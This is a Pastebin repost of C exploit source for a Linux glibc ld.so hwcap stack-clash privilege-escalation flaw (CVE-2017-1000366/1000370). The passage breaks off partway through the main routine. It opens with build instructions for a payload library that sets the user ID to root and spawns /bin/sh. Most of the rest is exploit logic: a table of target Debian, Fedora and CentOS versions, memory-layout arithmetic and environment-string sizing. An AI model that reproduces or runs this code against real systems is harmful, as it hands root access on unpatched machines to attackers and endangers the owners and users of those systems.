Advertisement
AZZATSSINS_CYBERSERK

Linux Kernel (Debian 7/8/9/10/Fedora 23/24/25/CentOS 5.3/5.11/6.0/6.8/7.2.1511) - ldso_hwcap Loc

Jul 5th, 2017
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 33.66 KB | None | 0 0
  1. /*
  2.  * Linux_ldso_hwcap.c for CVE-2017-1000366, CVE-2017-1000370
  3.  * Copyright (C) 2017 Qualys, Inc.
  4.  *
  5.  * my_important_hwcaps() adapted from elf/dl-hwcaps.c,
  6.  * part of the GNU C Library:
  7.  * Copyright (C) 2012-2017 Free Software Foundation, Inc.
  8.  *
  9.  * This program is free software: you can redistribute it and/or modify
  10.  * it under the terms of the GNU General Public License as published by
  11.  * the Free Software Foundation, either version 3 of the License, or
  12.  * (at your option) any later version.
  13.  *
  14.  * This program is distributed in the hope that it will be useful,
  15.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  16.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  17.  * GNU General Public License for more details.
  18.  *
  19.  * You should have received a copy of the GNU General Public License
  20.  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  21.  */
  22.  
  23. /**
  24. cat > la.c << "EOF"
  25. static void __attribute__ ((constructor)) _init (void) {
  26.     __asm__ __volatile__ (
  27.     "addl $64, %esp;"
  28.     // setuid(0);
  29.     "movl $23, %eax;"
  30.     "movl $0, %ebx;"
  31.     "int $0x80;"
  32.     // setgid(0);
  33.     "movl $46, %eax;"
  34.     "movl $0, %ebx;"
  35.     "int $0x80;"
  36.     // dup2(0, 1);
  37.     "movl $63, %eax;"
  38.     "movl $0, %ebx;"
  39.     "movl $1, %ecx;"
  40.     "int $0x80;"
  41.     // dup2(0, 2);
  42.     "movl $63, %eax;"
  43.     "movl $0, %ebx;"
  44.     "movl $2, %ecx;"
  45.     "int $0x80;"
  46.     // execve("/bin/sh");
  47.     "movl $11, %eax;"
  48.     "pushl $0x0068732f;"
  49.     "pushl $0x6e69622f;"
  50.     "movl %esp, %ebx;"
  51.     "movl $0, %edx;"
  52.     "pushl %edx;"
  53.     "pushl %ebx;"
  54.     "movl %esp, %ecx;"
  55.     "int $0x80;"
  56.     // exit(0);
  57.     "movl $1, %eax;"
  58.     "movl $0, %ebx;"
  59.     "int $0x80;"
  60.     );
  61. }
  62. EOF
  63. gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
  64. xxd -i la.so > la.so.h
  65. **/
  66.  
  67. #define _GNU_SOURCE
  68. #include <assert.h>
  69. #include <elf.h>
  70. #include <fcntl.h>
  71. #include <limits.h>
  72. #include <link.h>
  73. #include <signal.h>
  74. #include <stdio.h>
  75. #include <stdlib.h>
  76. #include <string.h>
  77. #include <sys/param.h>
  78. #include <sys/resource.h>
  79. #include <sys/stat.h>
  80. #include <sys/time.h>
  81. #include <sys/types.h>
  82. #include <sys/wait.h>
  83. #include <unistd.h>
  84.  
  85. #define PAGESZ ((size_t)4096)
  86. #define STACK_ALIGN ((size_t)16)
  87. #define MALLOC_ALIGN ((size_t)8)
  88.  
  89. #define MMAP_BASE ((uintptr_t)0x40000000)
  90. #define MMAP_RAND ((size_t)1<<20)
  91.  
  92. #define STACK_BASE ((uintptr_t)0xC0000000)
  93. #define STACK_RAND ((size_t)8<<20)
  94.  
  95. #define MAX_ARG_STRLEN ((size_t)128<<10)
  96. #define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)
  97.  
  98. static const struct target * target;
  99. static const struct target {
  100.     const char * name;
  101.     size_t memalign_up;
  102.     size_t nsystem_dirs_len;
  103.     size_t sizeof_system_dirs;
  104.     const char * repl_lib;
  105.     int ignore_lib;
  106.     int ignore_origin;
  107. } targets[] = {
  108.     {
  109.         .name = "Debian 7 (wheezy)",
  110.         .memalign_up = PAGESZ,
  111.         .nsystem_dirs_len = 4,
  112.         .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
  113.         .repl_lib = "lib/i386-linux-gnu",
  114.         .ignore_lib = 0,
  115.         .ignore_origin = 0,
  116.     },
  117.     {
  118.         .name = "Debian 8 (jessie)",
  119.         .memalign_up = PAGESZ,
  120.         .nsystem_dirs_len = 4,
  121.         .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
  122.         .repl_lib = "lib/i386-linux-gnu",
  123.         .ignore_lib = 0,
  124.         .ignore_origin = 0,
  125.     },
  126.     {
  127.         .name = "Debian 9 (stretch)",
  128.         .memalign_up = 2 * PAGESZ,
  129.         .nsystem_dirs_len = 4,
  130.         .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
  131.         .repl_lib = "lib/i386-linux-gnu",
  132.         .ignore_lib = 0,
  133.         .ignore_origin = 0,
  134.     },
  135.     {
  136.         .name = "Debian 10 (buster)",
  137.         .memalign_up = 2 * PAGESZ,
  138.         .nsystem_dirs_len = 4,
  139.         .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"),
  140.         .repl_lib = "lib/i386-linux-gnu",
  141.         .ignore_lib = 0,
  142.         .ignore_origin = 0,
  143.     },
  144.     {
  145.         .name = "Fedora 23 (Server Edition)",
  146.         .memalign_up = PAGESZ,
  147.         .nsystem_dirs_len = 2,
  148.         .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
  149.         .repl_lib = "lib",
  150.         .ignore_lib = 0,
  151.         .ignore_origin = 0,
  152.     },
  153.     {
  154.         .name = "Fedora 24 (Server Edition)",
  155.         .memalign_up = PAGESZ,
  156.         .nsystem_dirs_len = 2,
  157.         .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
  158.         .repl_lib = "lib",
  159.         .ignore_lib = 0,
  160.         .ignore_origin = 0,
  161.     },
  162.     {
  163.         .name = "Fedora 25 (Server Edition)",
  164.         .memalign_up = 2 * PAGESZ,
  165.         .nsystem_dirs_len = 2,
  166.         .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
  167.         .repl_lib = "lib",
  168.         .ignore_lib = 0,
  169.         .ignore_origin = 0,
  170.     },
  171.     {
  172.         .name = "CentOS 5.3 (Final)",
  173.         .memalign_up = PAGESZ,
  174.         .nsystem_dirs_len = 2,
  175.         .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
  176.         .repl_lib = "lib",
  177.         .ignore_lib = 1,
  178.         .ignore_origin = 0,
  179.     },
  180.     {
  181.         .name = "CentOS 5.11 (Final)",
  182.         .memalign_up = PAGESZ,
  183.         .nsystem_dirs_len = 2,
  184.         .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
  185.         .repl_lib = "lib",
  186.         .ignore_lib = 0,
  187.         .ignore_origin = 1,
  188.     },
  189.     {
  190.         .name = "CentOS 6.0 (Final)",
  191.         .memalign_up = PAGESZ,
  192.         .nsystem_dirs_len = 2,
  193.         .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
  194.         .repl_lib = "lib",
  195.         .ignore_lib = 0,
  196.         .ignore_origin = 0,
  197.     },
  198.     {
  199.         .name = "CentOS 6.8 (Final)",
  200.         .memalign_up = PAGESZ,
  201.         .nsystem_dirs_len = 2,
  202.         .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
  203.         .repl_lib = "lib",
  204.         .ignore_lib = 0,
  205.         .ignore_origin = 1,
  206.     },
  207.     {
  208.         .name = "CentOS 7.2.1511 (AltArch)",
  209.         .memalign_up = PAGESZ,
  210.         .nsystem_dirs_len = 2,
  211.         .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"),
  212.         .repl_lib = "lib",
  213.         .ignore_lib = 0,
  214.         .ignore_origin = 0,
  215.     },
  216. };
  217.  
  218. #define die() do { \
  219.     printf("died in %s: %u\n", __func__, __LINE__); \
  220.     exit(EXIT_FAILURE); \
  221. } while (0)
  222.  
  223. static const ElfW(auxv_t) * my_auxv;
  224.  
  225. static unsigned long int
  226. my_getauxval (const unsigned long int type)
  227. {
  228.     const ElfW(auxv_t) * p;
  229.  
  230.     if (!my_auxv) die();
  231.     for (p = my_auxv; p->a_type != AT_NULL; p++)
  232.         if (p->a_type == type)
  233.             return p->a_un.a_val;
  234.     die();
  235. }
  236.  
  237. static size_t
  238. get_elf_mmaps(const char * const binary)
  239. {
  240.     if (!binary) die();
  241.     if (*binary != '/') die();
  242.     struct stat st;
  243.     if (stat(binary, &st)) die();
  244.     if (!S_ISREG(st.st_mode)) die();
  245.     if (st.st_size <= 0) die();
  246.     #define SAFESZ ((size_t)64<<20)
  247.     if (st.st_size >= (ssize_t)SAFESZ) die();
  248.     const size_t size = st.st_size;
  249.     printf("%s %zu mmaps ", binary, size);
  250.  
  251.     const int fd = open(binary, O_RDONLY);
  252.     if (fd <= -1) {
  253.         const size_t mmaps = (size + PAGESZ-1) & ~(PAGESZ-1);
  254.         printf("%zu (unreadable)\n", mmaps);
  255.         return mmaps;
  256.     }
  257.     uint8_t * const buf = malloc(size);
  258.     if (!buf) die();
  259.     if (read(fd, buf, size) != (ssize_t)size) die();
  260.     if (close(fd)) die();
  261.  
  262.     if (size <= sizeof(ElfW(Ehdr))) die();
  263.     const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
  264.     if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
  265.     if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
  266.     if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
  267.     if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
  268.     if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
  269.     if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
  270.     if (ehdr->e_machine != EM_386) die();
  271.     if (ehdr->e_version != EV_CURRENT) die();
  272.     if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
  273.     if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
  274.     if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
  275.     if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
  276.     if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
  277.     if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
  278.     if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();
  279.  
  280.     if (ehdr->e_type != ET_DYN) {
  281.         if (ehdr->e_type != ET_EXEC) die();
  282.         const size_t mmaps = 0;
  283.         printf("%zu (executable)\n", mmaps);
  284.         free(buf);
  285.         return mmaps;
  286.     }
  287.  
  288.     uintptr_t first_map_start = UINTPTR_MAX;
  289.     uintptr_t last_map_end = 0;
  290.     unsigned int i;
  291.     for (i = 0; i < ehdr->e_phnum; i++) {
  292.         const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
  293.         if (phdr->p_type != PT_LOAD) continue;
  294.  
  295.         if (phdr->p_offset >= size) die();
  296.         if (phdr->p_filesz > size - phdr->p_offset) die();
  297.         if (phdr->p_filesz > phdr->p_memsz) die();
  298.         if (phdr->p_vaddr >= STACK_BASE) die();
  299.         if (phdr->p_memsz <= 0) die();
  300.         if (phdr->p_memsz >= SAFESZ) die();
  301.         #undef SAFESZ
  302.         if (phdr->p_align != PAGESZ) die();
  303.  
  304.         const uintptr_t map_start = phdr->p_vaddr & ~(PAGESZ-1);
  305.         if (map_start >= UINTPTR_MAX) die();
  306.         if (map_start < last_map_end) die();
  307.  
  308.         const uintptr_t map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
  309.         if (map_end <= map_start) die();
  310.         if (map_end <= 0) die();
  311.  
  312.         if (first_map_start >= UINTPTR_MAX) {
  313.             first_map_start = map_start;
  314.         }
  315.         last_map_end = map_end;
  316.  
  317.         switch (phdr->p_flags) {
  318.             case PF_R | PF_X:
  319.                 break;
  320.             case PF_R | PF_W:
  321.                 if (map_start <= first_map_start) die();
  322.                 break;
  323.             default:
  324.                 die();
  325.         }
  326.     }
  327.     if (first_map_start >= UINTPTR_MAX) die();
  328.     if (last_map_end <= 0) die();
  329.     if (last_map_end <= first_map_start) die();
  330.     const size_t mmaps = last_map_end - first_map_start;
  331.     printf("%zu (%sshared object)\n", mmaps, first_map_start ? "prelinked " : "");
  332.     free(buf);
  333.     return mmaps;
  334. }
  335.  
  336. static const char my_x86_cap_flags[32][8] = {
  337.     "fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce",
  338.     "cx8", "apic", "10", "sep", "mtrr", "pge", "mca", "cmov",
  339.     "pat", "pse36", "pn", "clflush", "20", "dts", "acpi", "mmx",
  340.     "fxsr", "sse", "sse2", "ss", "ht", "tm", "ia64", "pbe"
  341. };
  342.  
  343. static const char my_x86_platforms[4][5] = {
  344.     "i386", "i486", "i586", "i686"
  345. };
  346.  
  347. static inline const char *
  348. my_hwcap_string (const unsigned int idx)
  349. {
  350.     if (idx >= sizeof(my_x86_cap_flags) / sizeof(my_x86_cap_flags[0])) die();
  351.     return my_x86_cap_flags[idx];
  352. }
  353.  
  354. struct my_important_hwcaps {
  355.     unsigned long hwcap_mask;
  356.     size_t max_capstrlen;
  357.     size_t pointers;
  358.     size_t strings;
  359.     size_t search_dirs;
  360.     size_t search_dirs_0;
  361. };
  362.  
  363. struct my_link_map {
  364.     const ElfW(Phdr) * l_phdr;
  365.     ElfW(Half) l_phnum;
  366.     ElfW(Addr) l_addr;
  367. };
  368.  
  369. /* We want to cache information about the searches for shared objects.  */
  370.  
  371. enum r_dir_status { unknown, nonexisting, existing };
  372.  
  373. struct r_search_path_elem
  374.   {
  375.     /* This link is only used in the `all_dirs' member of `r_search_path'.  */
  376.     struct r_search_path_elem *next;
  377.  
  378.     /* Strings saying where the definition came from.  */
  379.     const char *what;
  380.     const char *where;
  381.  
  382.     /* Basename for this search path element.  The string must end with
  383.        a slash character.  */
  384.     const char *dirname;
  385.     size_t dirnamelen;
  386.  
  387.     enum r_dir_status status[0];
  388.   };
  389.  
  390. struct r_strlenpair
  391.   {
  392.     const char *str;
  393.     size_t len;
  394.   };
  395.  
  396. /* Return an array of useful/necessary hardware capability names.  */
  397. static struct my_important_hwcaps
  398. my_important_hwcaps (const char * const platform, const size_t platform_len,
  399.                      const uint64_t hwcap, const uint64_t hwcap_mask,
  400.                      const struct my_link_map * sysinfo_map)
  401. {
  402.   static const struct my_important_hwcaps err;
  403.   /* Determine how many important bits are set.  */
  404.   uint64_t masked = hwcap & hwcap_mask;
  405.   size_t cnt = platform != NULL;
  406.   size_t n, m;
  407.   size_t total;
  408.   struct r_strlenpair *result;
  409.  
  410.   /* Count the number of bits set in the masked value.  */
  411.   for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n)
  412.     if ((masked & (1ULL << n)) != 0)
  413.       ++cnt;
  414.  
  415.   /* The system-supplied DSO can contain a note of type 2, vendor "GNU".
  416.      This gives us a list of names to treat as fake hwcap bits.  */
  417.  
  418.   const char *dsocaps = NULL;
  419.   size_t dsocapslen = 0;
  420.   if (sysinfo_map != NULL)
  421.     {
  422.       const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr;
  423.       const ElfW(Word) phnum = sysinfo_map->l_phnum;
  424.       uint_fast16_t i;
  425.       for (i = 0; i < phnum; ++i)
  426.         if (phdr[i].p_type == PT_NOTE)
  427.           {
  428.             const ElfW(Addr) start = (phdr[i].p_vaddr
  429.                                       + sysinfo_map->l_addr);
  430.             /* The standard ELF note layout is exactly as the anonymous struct.
  431.                The next element is a variable length vendor name of length
  432.                VENDORLEN (with a real length rounded to ElfW(Word)), followed
  433.                by the data of length DATALEN (with a real length rounded to
  434.                ElfW(Word)).  */
  435.             const struct
  436.             {
  437.               ElfW(Word) vendorlen;
  438.               ElfW(Word) datalen;
  439.               ElfW(Word) type;
  440.             } *note = (const void *) start;
  441.             while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz)
  442.               {
  443. #define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word)))
  444.                 /* The layout of the type 2, vendor "GNU" note is as follows:
  445.                    .long <Number of capabilities enabled by this note>
  446.                    .long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA).
  447.                    .byte <The bit number for the next capability>
  448.                    .asciz <The name of the capability>.  */
  449.                 if (note->type == NT_GNU_HWCAP
  450.                     && note->vendorlen == sizeof "GNU"
  451.                     && !memcmp ((note + 1), "GNU", sizeof "GNU")
  452.                     && note->datalen > 2 * sizeof (ElfW(Word)) + 2)
  453.                   {
  454.                     const ElfW(Word) *p = ((const void *) (note + 1)
  455.                                            + ROUND (sizeof "GNU"));
  456.                     cnt += *p++;
  457.                     ++p;        /* Skip mask word.  */
  458.                     dsocaps = (const char *) p; /* Pseudo-string "<b>name"  */
  459.                     dsocapslen = note->datalen - sizeof *p * 2;
  460.                     break;
  461.                   }
  462.                 note = ((const void *) (note + 1)
  463.                         + ROUND (note->vendorlen) + ROUND (note->datalen));
  464. #undef ROUND
  465.               }
  466.             if (dsocaps != NULL)
  467.               break;
  468.           }
  469.     }
  470.  
  471.   /* For TLS enabled builds always add 'tls'.  */
  472.   ++cnt;
  473.  
  474.   /* Create temporary data structure to generate result table.  */
  475.   if (cnt < 2) return err;
  476.   if (cnt >= 32) return err;
  477.   struct r_strlenpair temp[cnt];
  478.   m = 0;
  479.   if (dsocaps != NULL)
  480.     {
  481.       /* dsocaps points to the .asciz string, and -1 points to the mask
  482.          .long just before the string.  */
  483.       const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1];
  484.       size_t len;
  485.       const char *p;
  486.       for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1)
  487.         {
  488.           uint_fast8_t bit = *p++;
  489.           len = strlen (p);
  490.  
  491.           /* Skip entries that are not enabled in the mask word.  */
  492.           if (mask & ((ElfW(Word)) 1 << bit))
  493.             {
  494.               temp[m].str = p;
  495.               temp[m].len = len;
  496.               ++m;
  497.             }
  498.           else
  499.             --cnt;
  500.         }
  501.     }
  502.   for (n = 0; masked != 0; ++n)
  503.     if ((masked & (1ULL << n)) != 0)
  504.       {
  505.         temp[m].str = my_hwcap_string (n);
  506.         temp[m].len = strlen (temp[m].str);
  507.         masked ^= 1ULL << n;
  508.         ++m;
  509.       }
  510.   if (platform != NULL)
  511.     {
  512.       temp[m].str = platform;
  513.       temp[m].len = platform_len;
  514.       ++m;
  515.     }
  516.  
  517.   temp[m].str = "tls";
  518.   temp[m].len = 3;
  519.   ++m;
  520.  
  521.   assert (m == cnt);
  522.  
  523.   /* Determine the total size of all strings together.  */
  524.   if (cnt == 1)
  525.     total = temp[0].len + 1;
  526.   else
  527.     {
  528.       total = temp[0].len + temp[cnt - 1].len + 2;
  529.       if (cnt > 2)
  530.         {
  531.           total <<= 1;
  532.           for (n = 1; n + 1 < cnt; ++n)
  533.             total += temp[n].len + 1;
  534.           if (cnt > 3
  535.               && (cnt >= sizeof (size_t) * 8
  536.                   || total + (sizeof (*result) << 3)
  537.                      >= (1UL << (sizeof (size_t) * 8 - cnt + 3))))
  538.             return err;
  539.  
  540.           total <<= cnt - 3;
  541.         }
  542.     }
  543.  
  544.   /* The result structure: we use a very compressed way to store the
  545.      various combinations of capability names.  */
  546.   const size_t _sz = 1 << cnt;
  547.  
  548.   /* Now we are ready to install the string pointers and length.  */
  549.   size_t max_capstrlen = 0;
  550.   n = cnt;
  551.   do
  552.     {
  553.       const size_t mask = 1 << --n;
  554.       for (m = 1 << cnt; m > 0; ) {
  555.         if ((--m & mask) != 0)
  556.           max_capstrlen += temp[n].len + 1;
  557.         break;
  558.       }
  559.     }
  560.   while (n != 0);
  561.  
  562.   const size_t round_size =
  563.       (2 * sizeof (struct r_search_path_elem) - 1 + _sz * sizeof (enum r_dir_status))
  564.          / sizeof (struct r_search_path_elem);
  565.   if (hwcap_mask > ULONG_MAX) die();
  566.  
  567.   const struct my_important_hwcaps ret = {
  568.       .hwcap_mask = hwcap_mask,
  569.       .max_capstrlen = max_capstrlen,
  570.       .pointers = _sz * sizeof (*result),
  571.       .strings = total,
  572.       .search_dirs = (target->nsystem_dirs_len + 1) * sizeof (struct r_search_path_elem *),
  573.       .search_dirs_0 = target->sizeof_system_dirs * round_size * sizeof (struct r_search_path_elem)
  574.   };
  575.   return ret;
  576. }
  577.  
  578. static size_t
  579. my_bsearch(const void * const key,
  580.     const void * const base, const size_t nmemb, const size_t size,
  581.     int (* const compar)(const void *, const void *))
  582. {
  583.     if (!key) die();
  584.     if (!size) die();
  585.     if (!compar) die();
  586.     if (nmemb >= SSIZE_MAX / size) die();
  587.     if (!base != !nmemb) die();
  588.     if (!base || !nmemb) return 0;
  589.  
  590.     size_t low = 0;
  591.     size_t high = nmemb - 1;
  592.     while (low <= high) {
  593.         const size_t mid = low + (high - low) / 2;
  594.         if (mid >= nmemb) die();
  595.         const int cond = compar(key, base + mid * size);
  596.         switch (cond) {
  597.         case 0:
  598.             return mid;
  599.         case -1:
  600.             if (mid <= 0) {
  601.                 if (mid != 0) die();
  602.                 if (low != 0) die();
  603.                 return low;
  604.             }
  605.             high = mid - 1;
  606.             break;
  607.         case +1:
  608.             low = mid + 1;
  609.             break;
  610.         default:
  611.             die();
  612.         }
  613.     }
  614.     if (low > nmemb) die();
  615.     return low;
  616. }
  617.  
  618. static int
  619. cmp_important_hwcaps(const void * const _a, const void * const _b)
  620. {
  621.     const struct my_important_hwcaps * const a = _a;
  622.     const struct my_important_hwcaps * const b = _b;
  623.  
  624.     if (a->strings < b->strings) return -1;
  625.     if (a->strings > b->strings) return +1;
  626.  
  627.     if (a->pointers < b->pointers) return -1;
  628.     if (a->pointers > b->pointers) return +1;
  629.  
  630.     if (a->search_dirs_0 < b->search_dirs_0) return -1;
  631.     if (a->search_dirs_0 > b->search_dirs_0) return +1;
  632.  
  633.     if (a->max_capstrlen < b->max_capstrlen) return -1;
  634.     if (a->max_capstrlen > b->max_capstrlen) return +1;
  635.  
  636.     return 0;
  637. }
  638.  
  639. struct audit_list
  640. {
  641.   const char *name;
  642.   struct audit_list *next;
  643. };
  644.  
  645. int
  646. main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
  647. {
  648.   {
  649.     const char * const * p = my_envp;
  650.     while (*p++) ;
  651.     my_auxv = (const void *)p;
  652.   }
  653.     if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
  654.   {
  655.     struct timeval tv;
  656.     if (gettimeofday(&tv, NULL)) die();
  657.     srandom(getpid() ^ tv.tv_sec ^ tv.tv_usec);
  658.   }
  659.     if (my_argc != 1+2) {
  660.         printf("Usage: %s target binary\n", my_argv[0]);
  661.         size_t i;
  662.         for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
  663.             printf("Target %zu %s\n", i, targets[i].name);
  664.         }
  665.         die();
  666.     }
  667.   {
  668.     const size_t i = strtoul(my_argv[1], NULL, 10);
  669.     if (i >= sizeof(targets)/sizeof(*targets)) die();
  670.     target = targets + i;
  671.     printf("Target %zu %s\n", i, target->name);
  672.   }
  673.     printf("mau %zu nsd %zu ssd %zu rl %s il %d io %d\n",
  674.         target->memalign_up, target->nsystem_dirs_len, target->sizeof_system_dirs,
  675.         target->repl_lib, target->ignore_lib, target->ignore_origin);
  676.  
  677.     if (target->memalign_up % PAGESZ) die();
  678.     if (target->ignore_lib < 0 || target->ignore_origin < 0) die();
  679.     if (target->ignore_lib > 1 || target->ignore_origin > 1) die();
  680.  
  681.     const char * const binary = realpath(my_argv[2], NULL);
  682.     if (!binary) die();
  683.     if (*binary != '/') die();
  684.     if (access(binary, X_OK)) die();
  685.  
  686.     const char * const slash = strrchr(binary, '/');
  687.     if (!slash) die();
  688.     if (slash <= binary) die();
  689.     const char * const origin = strndup(binary, slash - binary);
  690.     if (!origin) die();
  691.     printf("origin %s (%zu)\n", origin, strlen(origin));
  692.  
  693.     const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
  694.     if (!platform) die();
  695.     const size_t platform_len = strlen(platform);
  696.     if (platform_len != 4) die();
  697.   {
  698.     size_t i;
  699.     for (i = 0; ; i++) {
  700.         if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die();
  701.         if (strcmp(platform, my_x86_platforms[i]) == 0) break;
  702.     }
  703.   }
  704.     const struct {
  705.         const char * str;
  706.         size_t len;
  707.         size_t repl_len;
  708.     } DSTs[] = {
  709.         #define DST_LIB "LIB"
  710.         { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
  711.         #define DST_PLATFORM "PLATFORM"
  712.         { DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
  713.     };
  714.     size_t repl_max = target->ignore_origin ? 0 : strlen(origin);
  715.   {
  716.     size_t i;
  717.     for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
  718.         if (repl_max < DSTs[i].repl_len)
  719.             repl_max = DSTs[i].repl_len;
  720.     }
  721.   }
  722.     printf("repl_max %zu\n", repl_max);
  723.     if (repl_max < 4) die();
  724.  
  725.     const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR);
  726.     if (!sysinfo_dso) die();
  727.     struct my_link_map sysinfo_map = {
  728.         .l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff,
  729.         .l_phnum = sysinfo_dso->e_phnum,
  730.         .l_addr = ULONG_MAX
  731.     };
  732.   {
  733.     uint_fast16_t i;
  734.     for (i = 0; i < sysinfo_map.l_phnum; ++i) {
  735.         const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i];
  736.         if (ph->p_type == PT_LOAD) {
  737.             if (sysinfo_map.l_addr == ULONG_MAX)
  738.                 sysinfo_map.l_addr = ph->p_vaddr;
  739.         }
  740.     }
  741.   }
  742.     if (sysinfo_map.l_addr == ULONG_MAX) die();
  743.     sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr;
  744.  
  745.     const unsigned long hwcap = my_getauxval(AT_HWCAP);
  746.     if (!hwcap) die();
  747.     struct my_important_hwcaps * important_hwcaps = NULL;
  748.     size_t num_important_hwcaps = 0;
  749.   {
  750.     size_t max_important_hwcaps = 0;
  751.     uint32_t hwcap_mask = 1;
  752.     do {
  753.         if (hwcap_mask & ~hwcap) continue;
  754.         const uint64_t popcount = __builtin_popcount(hwcap_mask);
  755.         if (popcount < 1) die();
  756.         if (popcount > 32) die();
  757.         if ((((2+1) * (2*2 + popcount)) << (popcount-1)) + PAGESZ
  758.             >= MAX_ARG_STRLEN + (MAX_ARG_STRLEN / (4+1)) * (repl_max - (target->ignore_lib ? 7 : 4))) continue;
  759.  
  760.         const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map);
  761.         if (!ihc.pointers) die();
  762.  
  763.         const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
  764.         if (idx > num_important_hwcaps) die();
  765.  
  766.         if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) {
  767.             if (num_important_hwcaps >= max_important_hwcaps) {
  768.                 if (num_important_hwcaps != max_important_hwcaps) die();
  769.                 if (max_important_hwcaps >= 65536) die();
  770.                 max_important_hwcaps += 256;
  771.  
  772.                 if (num_important_hwcaps >= max_important_hwcaps) die();
  773.                 important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps));
  774.                 if (!important_hwcaps) die();
  775.             }
  776.             memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps));
  777.             important_hwcaps[idx] = ihc;
  778.             num_important_hwcaps++;
  779.         }
  780.     } while (++hwcap_mask);
  781.   }
  782.     printf("num_important_hwcaps %zu\n", num_important_hwcaps);
  783.  
  784.     static struct {
  785.         double probability;
  786.         struct my_important_hwcaps ihc;
  787.         size_t gwr, dst, cnt;
  788.     } best;
  789.  
  790.     #define LIB "/lib"
  791.     #define SEP_LIB ":" LIB
  792.     #define LLP "LD_LIBRARY_PATH="
  793.     static char llp[MAX_ARG_STRLEN];
  794.     #define MAX_GWR ((sizeof(llp) - (sizeof(LLP)-1 + sizeof(SEP_LIB)-1 + 1)) & ~(MALLOC_ALIGN-1))
  795.     size_t gwr;
  796.     for (gwr = MAX_GWR; gwr >= 128; gwr -= MALLOC_ALIGN) {
  797.         size_t dst;
  798.         for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
  799.             const size_t cnt = (MAX_GWR - gwr) / (1 + DSTs[dst].len + 1);
  800.             const size_t gpj = (sizeof(SEP_LIB)-1 + MAX_GWR + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1);
  801.             const size_t bwr = (sizeof(SEP_LIB)-1 + cnt * (DSTs[dst].repl_len + 1)) + ((MAX_GWR - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1;
  802.  
  803.             const struct my_important_hwcaps key = { .strings = gwr + bwr };
  804.             if (key.pointers) die();
  805.  
  806.             size_t idx = my_bsearch(&key, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
  807.             for (; idx < num_important_hwcaps; idx++) {
